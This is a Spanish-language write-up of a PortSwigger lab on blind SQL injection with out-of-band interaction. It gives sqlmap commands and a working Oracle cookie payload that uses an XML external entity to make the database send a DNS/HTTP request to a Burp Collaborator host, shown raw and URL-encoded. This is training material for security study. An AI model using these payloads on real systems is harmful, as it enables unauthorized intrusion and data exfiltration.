Blind SQL injection with out-of-band interaction
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una Blind SQL Injection
, la aplicación utiliza una cookie
de seguimiento para análisis y realiza una consulta SQL
que incluye el valor de la cookie enviada. La consulta SQL
se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, puedes desencadenar
interacciones out-of-band
con un dominio externo
. Para resolver el laboratorio
, hay que explotar la vulnerabilidad
de inyección SQL
para provocar una consulta DNS
a Burp Collaborator
Guía de SQLI
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de SQLI
https://justice-reaper.github.io/posts/SQLI/
Resolución
Al acceder
a la web
nos sale esto
Hay algunas Out-of-Band SQL Injections
que no pueden ser detectadas o explotadas por sqlmap
. En estas situaciones podemos realizar
un escaneo completo
con Burpsuite
para detectarlas
, para ello, debemos capturar
la petición
y pulsar click derecho > Scan
Posteriormente se nos abrirá
esta ventana
, en la cual debemos de seleccionar
la opción Crawl and audit
Posteriormente deberemos seleccionar
la configuración
del escaneo
. Recomendaría usar Deep
, ya que, es el más completo
. Una vez seleccionadas estas opciones pulsamos
sobre Scan
Si nos dirigimos a Dashboard
veremos que nos detecta
la inyección SQL
Otra opción más específica es escanear
los insertion points
. Para ello, enviamos
la petición
al Intruder
y seleccionamos
los insertion points
a analizar
Posteriormente pulsamos click derecho > Scan defined insertion points > Open scan launcher
, seleccionamos Audit selected items
y pulsamos
sobre Scan
Si nos dirigimos a Dashboard
veremos que también nos detecta
la inyección SQL
También es posible detectar las Out-of-Band SQL Injections
mediante sqlmap
. Para ello, necesitamos instalar
la extensión
de Burpsuite
llamada SQLMAP DNS Collaborator
Una vez instalada nos dirigimos a Extensions > Installed
y pulsamos sobre el nombre de la extensión
. Vemos que en la primera línea
nos muestra un servidor --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com
, este es el que debemos usar al ejecutar sqlmap
Cada vez que queramos un nuevo servidor
debemos pulsar
sobre el cuadro de texto
de la extensión
para desactivarla
y luego pulsar nuevamente
para cargarla
Ejecutamos sqlmap
con sudo
1
# sudo sqlmap -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --dbs --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB" --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com --dbms oracle
Si encuentra algo, se mostrará
en el apartado de Show in UI
Como alternativa, podemos usar sqlmapsh
https://github.com/unlock-security/sqlmapsh.git. Se usaría de la misma forma que sqlmap
, pero no es necesario proporcionar el parámetro --dns-domain
, ya que lo hace internamente
1
# sudo sqlmapsh -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB"
Este laboratorio
no se puede resolver usando sqlmap
o sqlmapsh
. La única forma que hay de identificar
la inyección SQL
es manualmente
o mediante el escáner
de Burpsuite
. Si capturamos
la petición
a la web con Burpsuite
vemos un campo llamado TrackingId
, probando los payload
de https://portswigger.net/web-security/sql-injection/cheat-sheet. En este caso vamos a usar este payload
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -
Antes de enviar la petición debemos hacer click
en Collaborator > Copy to clipboard
. Sustituimos el campo BURP-COLLABORATOR-SUBDOMAIN
por el subdominio
copiado
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/"> %remote;]>'),'/l') FROM dual)-- - ; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Una vez hecho esto debemos urlencodear
el payload
y enviar
la petición
1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS
Si nos dirigimos a la parte de Collaborator
y pulsamos en Poll now
nos llegarán las peticiones
a nuestro servidor